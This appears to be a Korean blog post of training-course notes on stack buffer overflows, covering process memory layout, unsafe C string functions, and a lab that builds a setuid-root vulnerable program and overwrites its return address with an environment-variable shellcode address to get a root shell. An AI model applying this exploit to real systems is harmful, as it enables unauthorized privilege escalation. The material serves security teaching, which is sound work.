7. STACK BUFFER OVERFLOW (BOF)
1) 메모리 구조의 이해
▣ 유저 영역
- 어떤 프로그램을 동작 시키면 메모리에 프로그램이 동작하기 위한 가상의 메모리 공간이 생김.
- 이 때 상위 메모리는 스택(Stack), 하위메모리는 힙(Heap)이라는 공간이 생김.
☞ 스택 영역 : 함수의 매개변수, 반환되는 주소(RET=다음 실행될 주소), 지역변수 등
☞ 공유 라이브러리 영역 : 공유 라이브러리 파일들이 적재됨. -static으로 컴파일 시 이 안에 내용을 묶어서 컴파일.
☞ 힙 영역 : 동적으로 메모리를 할당.
☞ 데이터(bss) 영역 : 초기화 되지 않은 전역변수나 static 변수들.
☞ 데이터(data) 영역 : 초기화 된 전역변수, 상수, static 변수들.
▣ 스택 영역
2) Stack Buffer Overflow
▣ Stack Buffer Overflow
- 버퍼 오버플로우는 할당된 버퍼보다 많은 데이터가 삽입되었을 때 인접하는 메모리를 덮어쓰게 되는 취약점.
- 손상받는 데이터는 변수, 프로그램 흐름 제어임.
▣ BOF에 취약한 함수들.
strcpy strcat gets fscanf scanf sprintf sscanf vfscanf vsprintf vscanf vsscanf streadd strecpy strtrns |
- 원인 : 문자열 처리함수에서 입력값에 대한 길이체크를 하지 않음.
- 대응 방안 : 근본적인 대응방안은 안전한 함수 사용 및 입력값 길이 체크가 검증이 필요.
▣ 간단한 실습
- BOF 공격시 필요한 것 : 거리 및 쉘코드 주소
- /tmp/bof.c 작성
- 컴파일 : # gcc -o bof bof.c -static
- 권한 : chmod 4755 bof
#include <stdio.h> int main(int argc, char *argv[]) { char buffer[512]; strcpy(buffer, argv[1]); printf("%s\n", buffer); return 0; }
- 해당 파일을 어셈블리어로 분석하면 거리까지는 EBP 포함 524 바이트 임을 알 수 있다.
- 거리를 알았으니 앞서 작성한 쉘코드를 직접 넣으려하니 스택이 매번 주소값이 랜덤으로 할당되기때문에 불가능함.
☞ 주소가 정적으로 고정되어 있는 환경변수를 이용하자!
☞ 환경변수는 주소값이 고정되어 있어 공격에 용이함.
- 환경변수 주소 구하기
☞ 일반사용자계정으로 /tmp/env.c 작성후 컴파일
☞ 사용법 : $ ./env 환경변수이름
#include <stdio.h> int main(int argc, char *argv[]) { char *addr; addr =(char *) getenv(argv[1]); printf("located at %p\n", addr); return 0; }
- 언어를 항상 영문판에서 다른걸로 바꿔줘야함!!!
☞ $ export LANG="ko_KR.euckr"
- 공격 예상도
- 환경변수에 쉘코드 주입(local 쉘코드)
☞ \x90 : NOP (안전빵으로 넣어둠)
- 공격
☞ $ ./bof `perl -e 'print "A"x524,"\xc5\xfd\xff\xbf";'`
☞ root의 권한으로 쉘이 켜짐.
i2sec 대구지점 23기 수료생.
'해킹&보안 > 네트워크 해킹&보안' 카테고리의 다른 글
[D+9] 네트워크 해킹과 보안 (6) (0) | 2017.04.07 |
---|---|
[D+8] 네트워크 해킹과 보안 (5) (0) | 2017.04.03 |
[D+8] 네트워크 해킹과 보안 (4) (0) | 2017.04.03 |
[D+7] 네트워크 해킹과 보안 (3) (0) | 2017.03.30 |
[D+6] 네트워크 해킹과 보안 (2) (0) | 2017.03.29 |